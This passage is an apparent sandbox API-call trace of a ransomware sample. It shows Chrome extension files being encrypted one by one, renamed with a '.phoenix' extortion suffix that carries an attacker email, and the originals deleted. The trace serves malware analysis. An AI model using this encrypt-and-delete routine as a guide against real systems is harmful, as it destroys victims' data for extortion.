	[0262.103] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.103] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.105] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0262.105] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.105] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xaf3, lpOverlapped=0x0) returned 1
	[0262.258] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb00, dwBufLen=0xb00 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb00) returned 1
	[0262.258] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb00, lpOverlapped=0x0) returned 1
	[0262.265] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0262.265] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.265] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0262.265] CryptDestroyKey (hKey=0x151480) returned 1
	[0262.265] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0262.265] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.265] CloseHandle (hObject=0x250) returned 1
	[0262.265] CloseHandle (hObject=0x254) returned 1
	[0262.265] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json")) returned 1
	[0262.269] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.269] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.270] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=70364) returned 1
	[0262.270] CloseHandle (hObject=0x2e0) returned 1
	[0262.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif")) returned 0x20
	[0262.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.271] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.271] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.271] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.271] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.272] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0262.272] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.272] ReadFile (in: hFile=0x2e0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x112dc, lpOverlapped=0x0) returned 1
	[0262.302] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x112e0, dwBufLen=0x112e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x112e0) returned 1
	[0262.302] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112e0, lpOverlapped=0x0) returned 1
	[0262.304] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0262.304] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.304] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.304] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.304] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.304] CryptDestroyKey (hKey=0x151640) returned 1
	[0262.304] CloseHandle (hObject=0x2e0) returned 1
	[0262.304] CloseHandle (hObject=0x2e4) returned 1
	[0262.304] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\flapper.gif")) returned 1
	[0262.313] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.313] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.329] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=556) returned 1
	[0262.330] CloseHandle (hObject=0x310) returned 1
	[0262.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png")) returned 0x20
	[0262.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.330] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.330] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.330] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.330] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0262.334] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.334] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x22c, lpOverlapped=0x0) returned 1
	[0262.335] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x230, dwBufLen=0x230 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x230) returned 1
	[0262.335] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x230, lpOverlapped=0x0) returned 1
	[0262.338] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0262.338] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.338] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.338] CryptDestroyKey (hKey=0x151640) returned 1
	[0262.338] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.338] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.338] CloseHandle (hObject=0x310) returned 1
	[0262.338] CloseHandle (hObject=0x2b0) returned 1
	[0262.338] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_16.png")) returned 1
	[0262.344] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.344] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.345] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=160) returned 1
	[0262.345] CloseHandle (hObject=0x2b0) returned 1
	[0262.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png")) returned 0x20
	[0262.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.345] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.345] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.345] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.345] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.346] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0262.346] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.346] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa0, lpOverlapped=0x0) returned 1
	[0262.347] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0262.347] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0262.348] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0262.348] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.348] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0262.348] CryptDestroyKey (hKey=0x151080) returned 1
	[0262.348] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112, lpOverlapped=0x0) returned 1
	[0262.348] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.348] CloseHandle (hObject=0x2b0) returned 1
	[0262.348] CloseHandle (hObject=0x310) returned 1
	[0262.348] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button.png")) returned 1
	[0262.349] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.349] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.351] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=252) returned 1
	[0262.351] CloseHandle (hObject=0x310) returned 1
	[0262.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png")) returned 0x20
	[0262.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.352] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.352] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_close.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0262.353] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.353] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfc, lpOverlapped=0x0) returned 1
	[0262.354] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0262.354] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0262.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0262.355] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.355] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0262.355] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.355] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0262.366] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.366] CloseHandle (hObject=0x310) returned 1
	[0262.366] CloseHandle (hObject=0x2b0) returned 1
